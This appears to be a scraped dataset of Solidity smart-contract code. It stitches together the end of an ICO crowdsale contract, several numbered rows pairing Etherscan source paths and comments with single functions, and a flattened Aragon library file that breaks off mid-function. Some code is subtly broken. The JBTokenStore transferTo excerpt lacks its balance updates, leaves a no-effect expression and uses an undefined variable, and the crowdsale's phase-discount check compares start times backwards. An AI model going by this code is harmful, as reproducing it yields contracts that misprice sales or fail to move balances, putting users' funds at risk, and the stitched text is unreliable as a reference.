ChangeIcoPhase(2, _start, _end); } /// @dev Sets the ICO phase 3 duration /// @param _start Start time /// @param _end End time function setIcoPhase3(uint256 _start, uint256 _end) external onlyOwner { require(_start < _end); icoPhase3Start = _start; icoPhase3End = _end; emit ChangeIcoPhase(3, _start, _end); } /// @dev Sets the ICO phase 4 duration /// @param _start Start time /// @param _end End time function setIcoPhase4(uint256 _start, uint256 _end) external onlyOwner { require(_start < _end); icoPhase4Start = _start; icoPhase4End = _end; emit ChangeIcoPhase(4, _start, _end); } function setIcoDiscountPercentages(uint8 _icoPhaseDiscountPercentage1, uint8 _icoPhaseDiscountPercentage2, uint8 _icoPhaseDiscountPercentage3, uint8 _icoPhaseDiscountPercentage4) external onlyOwner { icoPhaseDiscountPercentage1 = _icoPhaseDiscountPercentage1; icoPhaseDiscountPercentage2 = _icoPhaseDiscountPercentage2; icoPhaseDiscountPercentage3 = _icoPhaseDiscountPercentage3; icoPhaseDiscountPercentage4 = _icoPhaseDiscountPercentage4; emit DiscountPercentagesChanged(_icoPhaseDiscountPercentage1, _icoPhaseDiscountPercentage2, _icoPhaseDiscountPercentage3, _icoPhaseDiscountPercentage4); } /// @dev Fallback function for crowdsale contribution function () public payable { buyTokens(msg.sender); } /// @dev Buy tokens function /// @param beneficiary Address which will receive the tokens function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(whitelist.isWhitelisted(beneficiary)); uint256 weiAmount = msg.value; require(weiAmount > 0); require(contributors[beneficiary].add(weiAmount) <= 200 ether); uint256 tokenAmount = 0; if (isIco()) { uint8 discountPercentage = getIcoDiscountPercentage(); tokenAmount = getTokenAmount(weiAmount, discountPercentage); /// Minimum contribution 1 token during ICO require(tokenAmount >= 10**18); uint256 newTokensSoldIco = tokensSoldIco.add(tokenAmount); require(newTokensSoldIco <= HARD_CAP_IN_TOKENS); tokensSoldIco = newTokensSoldIco; } else { /// Stop execution and return remaining gas require(false); } executeTransaction(beneficiary, weiAmount, tokenAmount); } /// @dev Internal function used for calculating ICO discount percentage depending on phases function getIcoDiscountPercentage() internal constant returns (uint8) { if (icoPhase1Start >= now && now < icoPhase1End) { return icoPhaseDiscountPercentage1; } else if (icoPhase2Start >= now && now < icoPhase2End) { return icoPhaseDiscountPercentage2; } else if (icoPhase3Start >= now && now < icoPhase3End) { return icoPhaseDiscountPercentage3; } else { return icoPhaseDiscountPercentage4; } } /// @dev Internal function used to calculate amount of tokens based on discount percentage function getTokenAmount(uint256 weiAmount, uint8 discountPercentage) internal constant returns (uint256) { /// Less than 100 to avoid division with zero require(discountPercentage >= 0 && discountPercentage < 100); uint256 baseTokenAmount = weiAmount.mul(ethEurRate); uint256 denominator = 3 * (100 - discountPercentage); uint256 tokenAmount = baseTokenAmount.mul(10000).div(denominator); return tokenAmount; } /// point out that it works for the last block /// @dev This method is used to get the current amount user can receive for 1ETH -- Used by frontend for easier calculation /// @return Amount of CC tokens function getCurrentTokenAmountForOneEth() public constant returns (uint256) { if (isIco()) { uint8 discountPercentage = getIcoDiscountPercentage(); return getTokenAmount(1 ether, discountPercentage); } return 0; } /// @dev This method is used to get the current amount user can receive for 1BTC -- Used by frontend for easier calculation /// @return Amount of CC tokens function getCurrentTokenAmountForOneBtc() public constant returns (uint256) { uint256 amountForOneEth = getCurrentTokenAmountForOneEth(); return amountForOneEth.mul(btcEthRate).div(100); } /// @dev Internal function for execution of crowdsale transaction and proper logging used by payable functions function executeTransaction(address beneficiary, uint256 weiAmount, uint256 tokenAmount) internal { weiRaised = weiRaised.add(weiAmount); uint256 eurAmount = weiAmount.mul(ethEurRate).div(10**18); eurRaised = eurRaised.add(eurAmount); token.transfer(beneficiary, tokenAmount); emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokenAmount); contributions = contributions.add(1); contributors[beneficiary] = contributors[beneficiary].add(weiAmount); wallet.transfer(weiAmount); } /// @dev Check if ICO is active function isIco() public constant returns (bool) { return now >= startTimeIco && now <= endTimeIco; } /// @dev Check if ICO has ended function hasIcoEnded() public constant returns (bool) { return now > endTimeIco; } /// @dev Amount of tokens that have been sold during both presale and ICO phase function cummulativeTokensSold() public constant returns (uint256) { return tokensSoldPre + tokensSoldIco; } /// @dev Function to extract mistakenly sent ERC20 tokens sent to Crowdsale contract and to extract unsold CC tokens /// @param _token Address of token we want to extract function claimTokens(address _token) public onlyOwner { if (_token == address(0)) { owner.transfer(this.balance); return; } ERC20 erc20Token = ERC20(_token); uint balance = erc20Token.balanceOf(this); erc20Token.transfer(owner, balance); emit ClaimedTokens(_token, owner, balance); } /// Events event TokenPurchase(address indexed _purchaser, address indexed _beneficiary, uint256 _value, uint256 _amount); event ClaimedTokens(address indexed _token, address indexed _owner, uint _amount); event IcoPhaseAmountsChanged(uint256 _icoPhaseAmount1, uint256 _icoPhaseAmount2, uint256 _icoPhaseAmount3, uint256 _icoPhaseAmount4); event RatesChanged(address indexed _rateSetter, uint32 _ethEurRate, uint32 _btcEthRate); event DiscountPercentagesChanged(uint8 _icoPhaseDiscountPercentage1, uint8 _icoPhaseDiscountPercentage2, uint8 _icoPhaseDiscountPercentage3, uint8 _icoPhaseDiscountPercentage4); /// 0 is for changing start and end time of ICO event ChangeIcoPhase(uint8 _phase, uint256 _start, uint256 _end); } /// @title CulturalCoinCrowdsale contract contract CulturalCoinCrowdsale is Crowdsale { function CulturalCoinCrowdsale(uint256 _startTimeIco, uint256 _endTimeIco, uint32 _ethEurRate, uint32 _btcEthRate, address _wallet, address _tokenAddress, address _whitelistAddress, uint256 _tokensSoldPre, uint256 _contributions, uint256 _weiRaised, uint256 _eurRaised, uint256 _tokensSoldIco) Crowdsale(_startTimeIco, _endTimeIco, _ethEurRate, _btcEthRate, _wallet, _tokenAddress, _whitelistAddress, _tokensSoldPre, _contributions, _weiRaised, _eurRaised, _tokensSoldIco) public { } }
Function to extract mistakenly sent ERC20 tokens sent to Crowdsale contract and to extract unsold CC tokens _token Address of token we want to extract
function claimTokens(address _token) public onlyOwner { if (_token == address(0)) { owner.transfer(this.balance); return; } ERC20 erc20Token = ERC20(_token); uint balance = erc20Token.balanceOf(this); erc20Token.transfer(owner, balance); emit ClaimedTokens(_token, owner, balance); } event ClaimedTokens(address indexed _token, address indexed _owner, uint _amount); event IcoPhaseAmountsChanged(uint256 _icoPhaseAmount1, uint256 _icoPhaseAmount2, uint256 _icoPhaseAmount3, uint256 _icoPhaseAmount4); event RatesChanged(address indexed _rateSetter, uint32 _ethEurRate, uint32 _btcEthRate); event DiscountPercentagesChanged(uint8 _icoPhaseDiscountPercentage1, uint8 _icoPhaseDiscountPercentage2, uint8 _icoPhaseDiscountPercentage3, uint8 _icoPhaseDiscountPercentage4);
1,540,634
./partial_match/1/0x22f1c2238c77698d95d2bf09442C289e26093169/sources/LANDAuction.sol
Update stats. It will update the following stats: - totalBids - totalLandsBidded - totalManaBurned _landsBidded - uint256 of the number of LAND bidded _manaAmountBurned - uint256 of the amount of MANA burned/
function _updateStats(uint256 _landsBidded, uint256 _manaAmountBurned) private { totalBids = totalBids.add(1); totalLandsBidded = totalLandsBidded.add(_landsBidded); totalManaBurned = totalManaBurned.add(_manaAmountBurned); }
4,120,748
./full_match/4/0x8edd685CB964A78C1a82C3059F3FAce2BFaA5F3F/sources/contracts/JBTokenStore.sol
/ Can't transfer to the zero address. An address can't transfer to itself. There must be an amount to transfer. There must be enough unclaimed tokens to transfer.
function transferTo( address _recipient, address _holder, uint256 _projectId, uint256 _amount ) external override requirePermission(_holder, _projectId, JBOperations.TRANSFER) { if (_recipient == address(0)) { revert RECIPIENT_ZERO_ADDRESS(); } if (_holder == _recipient) { revert INVALID_RECIPIENT(); } if (_amount == 0) { revert TOKEN_AMOUNT_ZERO(); } if (_amount > _unclaimedBalance) { revert INSUFFICIENT_UNCLAIMED_TOKENS(); } unclaimedBalanceOf[_recipient][_projectId] + _amount; emit Transfer(_holder, _projectId, _recipient, _amount, msg.sender); } Allows a project to force all future mints to be claimed into the holder's wallet, or revoke the flag if it's already set. @dev Only a token holder or an operator can transfer its unclaimed tokens. @param _projectId The ID of the project being affected. @param _flag A flag indicating whether or not claiming should be required.
12,506,131
./full_match/43113/0xdc5a6a832357Cb03c028931B78c5924375F015f6/sources/contracts/Vorlex.sol
xref:ROOT:erc1155.adocbatch-operations[Batched] version of {_mint}. Requirements: - `ids` and `amounts` must have the same length. - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the acceptance magic value./
function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); }
7,125,907
/** *Submitted for verification at Etherscan.io on 2020-02-11 */ // File: @aragon/os/contracts/common/EtherTokenConstant.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; // aragonOS and aragon-apps rely on address(0) to denote native ETH, in // contracts where both tokens and ETH are accepted contract EtherTokenConstant { address internal constant ETH = address(0); } // File: @aragon/apps-agent/contracts/standards/ERC1271.sol pragma solidity 0.4.24; // ERC1271 on Feb 12th, 2019: https://github.com/ethereum/EIPs/blob/a97dc434930d0ccc4461c97d8c7a920dc585adf2/EIPS/eip-1271.md // Using `isValidSignature(bytes32,bytes)` even though the standard still hasn't been modified // Rationale: https://github.com/ethereum/EIPs/issues/1271#issuecomment-462719728 contract ERC1271 { bytes4 constant public ERC1271_INTERFACE_ID = 0xfb855dc9; // this.isValidSignature.selector bytes4 constant public ERC1271_RETURN_VALID_SIGNATURE = 0x20c13b0b; // TODO: Likely needs to be updated bytes4 constant public ERC1271_RETURN_INVALID_SIGNATURE = 0x00000000; /** * @dev Function must be implemented by deriving contract * @param _hash Arbitrary length data signed on the behalf of address(this) * @param _signature Signature byte array associated with _data * @return A bytes4 magic value 0x20c13b0b if the signature check passes, 0x00000000 if not * * MUST NOT modify state (using STATICCALL for solc < 0.5, view modifier for solc > 0.5) * MUST allow external calls */ function isValidSignature(bytes32 _hash, bytes memory _signature) public view returns (bytes4); function returnIsValidSignatureMagicNumber(bool isValid) internal pure returns (bytes4) { return isValid ? ERC1271_RETURN_VALID_SIGNATURE : ERC1271_RETURN_INVALID_SIGNATURE; } } contract ERC1271Bytes is ERC1271 { /** * @dev Default behavior of `isValidSignature(bytes,bytes)`, can be overloaded for custom validation * @param _data Arbitrary length data signed on the behalf of address(this) * @param _signature Signature byte array associated with _data * @return A bytes4 magic value 0x20c13b0b if the signature check passes, 0x00000000 if not * * MUST NOT modify state (using STATICCALL for solc < 0.5, view modifier for solc > 0.5) * MUST allow external calls */ function isValidSignature(bytes _data, bytes _signature) public view returns (bytes4) { return isValidSignature(keccak256(_data), _signature); } } // File: @aragon/apps-agent/contracts/SignatureValidator.sol pragma solidity 0.4.24; // Inspired by https://github.com/horizon-games/multi-token-standard/blob/319740cf2a78b8816269ae49a09c537b3fd7303b/contracts/utils/SignatureValidator.sol // This should probably be moved into aOS: https://github.com/aragon/aragonOS/pull/442 library SignatureValidator { enum SignatureMode { Invalid, // 0x00 EIP712, // 0x01 EthSign, // 0x02 ERC1271, // 0x03 NMode // 0x04, to check if mode is specified, leave at the end } // bytes4(keccak256("isValidSignature(bytes,bytes)") bytes4 public constant ERC1271_RETURN_VALID_SIGNATURE = 0x20c13b0b; uint256 internal constant ERC1271_ISVALIDSIG_MAX_GAS = 250000; string private constant ERROR_INVALID_LENGTH_POP_BYTE = "SIGVAL_INVALID_LENGTH_POP_BYTE"; /// @dev Validates that a hash was signed by a specified signer. /// @param hash Hash which was signed. /// @param signer Address of the signer. /// @param signature ECDSA signature along with the mode (0 = Invalid, 1 = EIP712, 2 = EthSign, 3 = ERC1271) {mode}{r}{s}{v}. /// @return Returns whether signature is from a specified user. function isValidSignature(bytes32 hash, address signer, bytes signature) internal view returns (bool) { if (signature.length == 0) { return false; } uint8 modeByte = uint8(signature[0]); if (modeByte >= uint8(SignatureMode.NMode)) { return false; } SignatureMode mode = SignatureMode(modeByte); if (mode == SignatureMode.EIP712) { return ecVerify(hash, signer, signature); } else if (mode == SignatureMode.EthSign) { return ecVerify( keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)), signer, signature ); } else if (mode == SignatureMode.ERC1271) { // Pop the mode byte before sending it down the validation chain return safeIsValidSignature(signer, hash, popFirstByte(signature)); } else { return false; } } function ecVerify(bytes32 hash, address signer, bytes memory signature) private pure returns (bool) { (bool badSig, bytes32 r, bytes32 s, uint8 v) = unpackEcSig(signature); if (badSig) { return false; } return signer == ecrecover(hash, v, r, s); } function unpackEcSig(bytes memory signature) private pure returns (bool badSig, bytes32 r, bytes32 s, uint8 v) { if (signature.length != 66) { badSig = true; return; } v = uint8(signature[65]); assembly { r := mload(add(signature, 33)) s := mload(add(signature, 65)) } // Allow signature version to be 0 or 1 if (v < 27) { v += 27; } if (v != 27 && v != 28) { badSig = true; } } function popFirstByte(bytes memory input) private pure returns (bytes memory output) { uint256 inputLength = input.length; require(inputLength > 0, ERROR_INVALID_LENGTH_POP_BYTE); output = new bytes(inputLength - 1); if (output.length == 0) { return output; } uint256 inputPointer; uint256 outputPointer; assembly { inputPointer := add(input, 0x21) outputPointer := add(output, 0x20) } memcpy(outputPointer, inputPointer, output.length); } function safeIsValidSignature(address validator, bytes32 hash, bytes memory signature) private view returns (bool) { bytes memory data = abi.encodeWithSelector(ERC1271(validator).isValidSignature.selector, hash, signature); bytes4 erc1271Return = safeBytes4StaticCall(validator, data, ERC1271_ISVALIDSIG_MAX_GAS); return erc1271Return == ERC1271_RETURN_VALID_SIGNATURE; } function safeBytes4StaticCall(address target, bytes data, uint256 maxGas) private view returns (bytes4 ret) { uint256 gasLeft = gasleft(); uint256 callGas = gasLeft > maxGas ? maxGas : gasLeft; bool ok; assembly { ok := staticcall(callGas, target, add(data, 0x20), mload(data), 0, 0) } if (!ok) { return; } uint256 size; assembly { size := returndatasize } if (size != 32) { return; } assembly { let ptr := mload(0x40) // get next free memory ptr returndatacopy(ptr, 0, size) // copy return from above `staticcall` ret := mload(ptr) // read data at ptr and set it to be returned } return ret; } // From: https://github.com/Arachnid/solidity-stringutils/blob/01e955c1d6/src/strings.sol function memcpy(uint256 dest, uint256 src, uint256 len) private pure { // Copy word-length chunks while possible for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } } // File: @aragon/apps-agent/contracts/standards/IERC165.sol pragma solidity 0.4.24; interface IERC165 { function supportsInterface(bytes4 interfaceId) external pure returns (bool); } // File: @aragon/os/contracts/common/UnstructuredStorage.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; library UnstructuredStorage { function getStorageBool(bytes32 position) internal view returns (bool data) { assembly { data := sload(position) } } function getStorageAddress(bytes32 position) internal view returns (address data) { assembly { data := sload(position) } } function getStorageBytes32(bytes32 position) internal view returns (bytes32 data) { assembly { data := sload(position) } } function getStorageUint256(bytes32 position) internal view returns (uint256 data) { assembly { data := sload(position) } } function setStorageBool(bytes32 position, bool data) internal { assembly { sstore(position, data) } } function setStorageAddress(bytes32 position, address data) internal { assembly { sstore(position, data) } } function setStorageBytes32(bytes32 position, bytes32 data) internal { assembly { sstore(position, data) } } function setStorageUint256(bytes32 position, uint256 data) internal { assembly { sstore(position, data) } } } // File: @aragon/os/contracts/acl/IACL.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; interface IACL { function initialize(address permissionsCreator) external; // TODO: this should be external // See https://github.com/ethereum/solidity/issues/4832 function hasPermission(address who, address where, bytes32 what, bytes how) public view returns (bool); } // File: @aragon/os/contracts/common/IVaultRecoverable.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; interface IVaultRecoverable { event RecoverToVault(address indexed vault, address indexed token, uint256 amount); function transferToVault(address token) external; function allowRecoverability(address token) external view returns (bool); function getRecoveryVault() external view returns (address); } // File: @aragon/os/contracts/kernel/IKernel.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; interface IKernelEvents { event SetApp(bytes32 indexed namespace, bytes32 indexed appId, address app); } // This should be an interface, but interfaces can't inherit yet :( contract IKernel is IKernelEvents, IVaultRecoverable { function acl() public view returns (IACL); function hasPermission(address who, address where, bytes32 what, bytes how) public view returns (bool); function setApp(bytes32 namespace, bytes32 appId, address app) public; function getApp(bytes32 namespace, bytes32 appId) public view returns (address); } // File: @aragon/os/contracts/apps/AppStorage.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract AppStorage { using UnstructuredStorage for bytes32; /* Hardcoded constants to save gas bytes32 internal constant KERNEL_POSITION = keccak256("aragonOS.appStorage.kernel"); bytes32 internal constant APP_ID_POSITION = keccak256("aragonOS.appStorage.appId"); */ bytes32 internal constant KERNEL_POSITION = 0x4172f0f7d2289153072b0a6ca36959e0cbe2efc3afe50fc81636caa96338137b; bytes32 internal constant APP_ID_POSITION = 0xd625496217aa6a3453eecb9c3489dc5a53e6c67b444329ea2b2cbc9ff547639b; function kernel() public view returns (IKernel) { return IKernel(KERNEL_POSITION.getStorageAddress()); } function appId() public view returns (bytes32) { return APP_ID_POSITION.getStorageBytes32(); } function setKernel(IKernel _kernel) internal { KERNEL_POSITION.setStorageAddress(address(_kernel)); } function setAppId(bytes32 _appId) internal { APP_ID_POSITION.setStorageBytes32(_appId); } } // File: @aragon/os/contracts/acl/ACLSyntaxSugar.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract ACLSyntaxSugar { function arr() internal pure returns (uint256[]) { return new uint256[](0); } function arr(bytes32 _a) internal pure returns (uint256[] r) { return arr(uint256(_a)); } function arr(bytes32 _a, bytes32 _b) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b)); } function arr(address _a) internal pure returns (uint256[] r) { return arr(uint256(_a)); } function arr(address _a, address _b) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b)); } function arr(address _a, uint256 _b, uint256 _c) internal pure returns (uint256[] r) { return arr(uint256(_a), _b, _c); } function arr(address _a, uint256 _b, uint256 _c, uint256 _d) internal pure returns (uint256[] r) { return arr(uint256(_a), _b, _c, _d); } function arr(address _a, uint256 _b) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b)); } function arr(address _a, address _b, uint256 _c, uint256 _d, uint256 _e) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b), _c, _d, _e); } function arr(address _a, address _b, address _c) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b), uint256(_c)); } function arr(address _a, address _b, uint256 _c) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b), uint256(_c)); } function arr(uint256 _a) internal pure returns (uint256[] r) { r = new uint256[](1); r[0] = _a; } function arr(uint256 _a, uint256 _b) internal pure returns (uint256[] r) { r = new uint256[](2); r[0] = _a; r[1] = _b; } function arr(uint256 _a, uint256 _b, uint256 _c) internal pure returns (uint256[] r) { r = new uint256[](3); r[0] = _a; r[1] = _b; r[2] = _c; } function arr(uint256 _a, uint256 _b, uint256 _c, uint256 _d) internal pure returns (uint256[] r) { r = new uint256[](4); r[0] = _a; r[1] = _b; r[2] = _c; r[3] = _d; } function arr(uint256 _a, uint256 _b, uint256 _c, uint256 _d, uint256 _e) internal pure returns (uint256[] r) { r = new uint256[](5); r[0] = _a; r[1] = _b; r[2] = _c; r[3] = _d; r[4] = _e; } } contract ACLHelpers { function decodeParamOp(uint256 _x) internal pure returns (uint8 b) { return uint8(_x >> (8 * 30)); } function decodeParamId(uint256 _x) internal pure returns (uint8 b) { return uint8(_x >> (8 * 31)); } function decodeParamsList(uint256 _x) internal pure returns (uint32 a, uint32 b, uint32 c) { a = uint32(_x); b = uint32(_x >> (8 * 4)); c = uint32(_x >> (8 * 8)); } } // File: @aragon/os/contracts/common/Uint256Helpers.sol pragma solidity ^0.4.24; library Uint256Helpers { uint256 private constant MAX_UINT64 = uint64(-1); string private constant ERROR_NUMBER_TOO_BIG = "UINT64_NUMBER_TOO_BIG"; function toUint64(uint256 a) internal pure returns (uint64) { require(a <= MAX_UINT64, ERROR_NUMBER_TOO_BIG); return uint64(a); } } // File: @aragon/os/contracts/common/TimeHelpers.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract TimeHelpers { using Uint256Helpers for uint256; /** * @dev Returns the current block number. * Using a function rather than `block.number` allows us to easily mock the block number in * tests. */ function getBlockNumber() internal view returns (uint256) { return block.number; } /** * @dev Returns the current block number, converted to uint64. * Using a function rather than `block.number` allows us to easily mock the block number in * tests. */ function getBlockNumber64() internal view returns (uint64) { return getBlockNumber().toUint64(); } /** * @dev Returns the current timestamp. * Using a function rather than `block.timestamp` allows us to easily mock it in * tests. */ function getTimestamp() internal view returns (uint256) { return block.timestamp; // solium-disable-line security/no-block-members } /** * @dev Returns the current timestamp, converted to uint64. * Using a function rather than `block.timestamp` allows us to easily mock it in * tests. */ function getTimestamp64() internal view returns (uint64) { return getTimestamp().toUint64(); } } // File: @aragon/os/contracts/common/Initializable.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract Initializable is TimeHelpers { using UnstructuredStorage for bytes32; // keccak256("aragonOS.initializable.initializationBlock") bytes32 internal constant INITIALIZATION_BLOCK_POSITION = 0xebb05b386a8d34882b8711d156f463690983dc47815980fb82aeeff1aa43579e; string private constant ERROR_ALREADY_INITIALIZED = "INIT_ALREADY_INITIALIZED"; string private constant ERROR_NOT_INITIALIZED = "INIT_NOT_INITIALIZED"; modifier onlyInit { require(getInitializationBlock() == 0, ERROR_ALREADY_INITIALIZED); _; } modifier isInitialized { require(hasInitialized(), ERROR_NOT_INITIALIZED); _; } /** * @return Block number in which the contract was initialized */ function getInitializationBlock() public view returns (uint256) { return INITIALIZATION_BLOCK_POSITION.getStorageUint256(); } /** * @return Whether the contract has been initialized by the time of the current block */ function hasInitialized() public view returns (bool) { uint256 initializationBlock = getInitializationBlock(); return initializationBlock != 0 && getBlockNumber() >= initializationBlock; } /** * @dev Function to be called by top level contract after initialization has finished. */ function initialized() internal onlyInit { INITIALIZATION_BLOCK_POSITION.setStorageUint256(getBlockNumber()); } /** * @dev Function to be called by top level contract after initialization to enable the contract * at a future block number rather than immediately. */ function initializedAt(uint256 _blockNumber) internal onlyInit { INITIALIZATION_BLOCK_POSITION.setStorageUint256(_blockNumber); } } // File: @aragon/os/contracts/common/Petrifiable.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract Petrifiable is Initializable { // Use block UINT256_MAX (which should be never) as the initializable date uint256 internal constant PETRIFIED_BLOCK = uint256(-1); function isPetrified() public view returns (bool) { return getInitializationBlock() == PETRIFIED_BLOCK; } /** * @dev Function to be called by top level contract to prevent being initialized. * Useful for freezing base contracts when they're used behind proxies. */ function petrify() internal onlyInit { initializedAt(PETRIFIED_BLOCK); } } // File: @aragon/os/contracts/common/Autopetrified.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract Autopetrified is Petrifiable { constructor() public { // Immediately petrify base (non-proxy) instances of inherited contracts on deploy. // This renders them uninitializable (and unusable without a proxy). petrify(); } } // File: @aragon/os/contracts/common/ConversionHelpers.sol pragma solidity ^0.4.24; library ConversionHelpers { string private constant ERROR_IMPROPER_LENGTH = "CONVERSION_IMPROPER_LENGTH"; function dangerouslyCastUintArrayToBytes(uint256[] memory _input) internal pure returns (bytes memory output) { // Force cast the uint256[] into a bytes array, by overwriting its length // Note that the bytes array doesn't need to be initialized as we immediately overwrite it // with the input and a new length. The input becomes invalid from this point forward. uint256 byteLength = _input.length * 32; assembly { output := _input mstore(output, byteLength) } } function dangerouslyCastBytesToUintArray(bytes memory _input) internal pure returns (uint256[] memory output) { // Force cast the bytes array into a uint256[], by overwriting its length // Note that the uint256[] doesn't need to be initialized as we immediately overwrite it // with the input and a new length. The input becomes invalid from this point forward. uint256 intsLength = _input.length / 32; require(_input.length == intsLength * 32, ERROR_IMPROPER_LENGTH); assembly { output := _input mstore(output, intsLength) } } } // File: @aragon/os/contracts/common/ReentrancyGuard.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract ReentrancyGuard { using UnstructuredStorage for bytes32; /* Hardcoded constants to save gas bytes32 internal constant REENTRANCY_MUTEX_POSITION = keccak256("aragonOS.reentrancyGuard.mutex"); */ bytes32 private constant REENTRANCY_MUTEX_POSITION = 0xe855346402235fdd185c890e68d2c4ecad599b88587635ee285bce2fda58dacb; string private constant ERROR_REENTRANT = "REENTRANCY_REENTRANT_CALL"; modifier nonReentrant() { // Ensure mutex is unlocked require(!REENTRANCY_MUTEX_POSITION.getStorageBool(), ERROR_REENTRANT); // Lock mutex before function call REENTRANCY_MUTEX_POSITION.setStorageBool(true); // Perform function call _; // Unlock mutex after function call REENTRANCY_MUTEX_POSITION.setStorageBool(false); } } // File: @aragon/os/contracts/lib/token/ERC20.sol // See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/a9f910d34f0ab33a1ae5e714f69f9596a02b4d91/contracts/token/ERC20/ERC20.sol pragma solidity ^0.4.24; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: @aragon/os/contracts/common/IsContract.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract IsContract { /* * NOTE: this should NEVER be used for authentication * (see pitfalls: https://github.com/fergarrui/ethereum-security/tree/master/contracts/extcodesize). * * This is only intended to be used as a sanity check that an address is actually a contract, * RATHER THAN an address not being a contract. */ function isContract(address _target) internal view returns (bool) { if (_target == address(0)) { return false; } uint256 size; assembly { size := extcodesize(_target) } return size > 0; } } // File: @aragon/os/contracts/common/SafeERC20.sol // Inspired by AdEx (https://github.com/AdExNetwork/adex-protocol-eth/blob/b9df617829661a7518ee10f4cb6c4108659dd6d5/contracts/libs/SafeERC20.sol) // and 0x (https://github.com/0xProject/0x-monorepo/blob/737d1dc54d72872e24abce5a1dbe1b66d35fa21a/contracts/protocol/contracts/protocol/AssetProxy/ERC20Proxy.sol#L143) pragma solidity ^0.4.24; library SafeERC20 { // Before 0.5, solidity has a mismatch between `address.transfer()` and `token.transfer()`: // https://github.com/ethereum/solidity/issues/3544 bytes4 private constant TRANSFER_SELECTOR = 0xa9059cbb; string private constant ERROR_TOKEN_BALANCE_REVERTED = "SAFE_ERC_20_BALANCE_REVERTED"; string private constant ERROR_TOKEN_ALLOWANCE_REVERTED = "SAFE_ERC_20_ALLOWANCE_REVERTED"; function invokeAndCheckSuccess(address _addr, bytes memory _calldata) private returns (bool) { bool ret; assembly { let ptr := mload(0x40) // free memory pointer let success := call( gas, // forward all gas _addr, // address 0, // no value add(_calldata, 0x20), // calldata start mload(_calldata), // calldata length ptr, // write output over free memory 0x20 // uint256 return ) if gt(success, 0) { // Check number of bytes returned from last function call switch returndatasize // No bytes returned: assume success case 0 { ret := 1 } // 32 bytes returned: check if non-zero case 0x20 { // Only return success if returned data was true // Already have output in ptr ret := eq(mload(ptr), 1) } // Not sure what was returned: don't mark as success default { } } } return ret; } function staticInvoke(address _addr, bytes memory _calldata) private view returns (bool, uint256) { bool success; uint256 ret; assembly { let ptr := mload(0x40) // free memory pointer success := staticcall( gas, // forward all gas _addr, // address add(_calldata, 0x20), // calldata start mload(_calldata), // calldata length ptr, // write output over free memory 0x20 // uint256 return ) if gt(success, 0) { ret := mload(ptr) } } return (success, ret); } /** * @dev Same as a standards-compliant ERC20.transfer() that never reverts (returns false). * Note that this makes an external call to the token. */ function safeTransfer(ERC20 _token, address _to, uint256 _amount) internal returns (bool) { bytes memory transferCallData = abi.encodeWithSelector( TRANSFER_SELECTOR, _to, _amount ); return invokeAndCheckSuccess(_token, transferCallData); } /** * @dev Same as a standards-compliant ERC20.transferFrom() that never reverts (returns false). * Note that this makes an external call to the token. */ function safeTransferFrom(ERC20 _token, address _from, address _to, uint256 _amount) internal returns (bool) { bytes memory transferFromCallData = abi.encodeWithSelector( _token.transferFrom.selector, _from, _to, _amount ); return invokeAndCheckSuccess(_token, transferFromCallData); } /** * @dev Same as a standards-compliant ERC20.approve() that never reverts (returns false). * Note that this makes an external call to the token. */ function safeApprove(ERC20 _token, address _spender, uint256 _amount) internal returns (bool) { bytes memory approveCallData = abi.encodeWithSelector( _token.approve.selector, _spender, _amount ); return invokeAndCheckSuccess(_token, approveCallData); } /** * @dev Static call into ERC20.balanceOf(). * Reverts if the call fails for some reason (should never fail). */ function staticBalanceOf(ERC20 _token, address _owner) internal view returns (uint256) { bytes memory balanceOfCallData = abi.encodeWithSelector( _token.balanceOf.selector, _owner ); (bool success, uint256 tokenBalance) = staticInvoke(_token, balanceOfCallData); require(success, ERROR_TOKEN_BALANCE_REVERTED); return tokenBalance; } /** * @dev Static call into ERC20.allowance(). * Reverts if the call fails for some reason (should never fail). */ function staticAllowance(ERC20 _token, address _owner, address _spender) internal view returns (uint256) { bytes memory allowanceCallData = abi.encodeWithSelector( 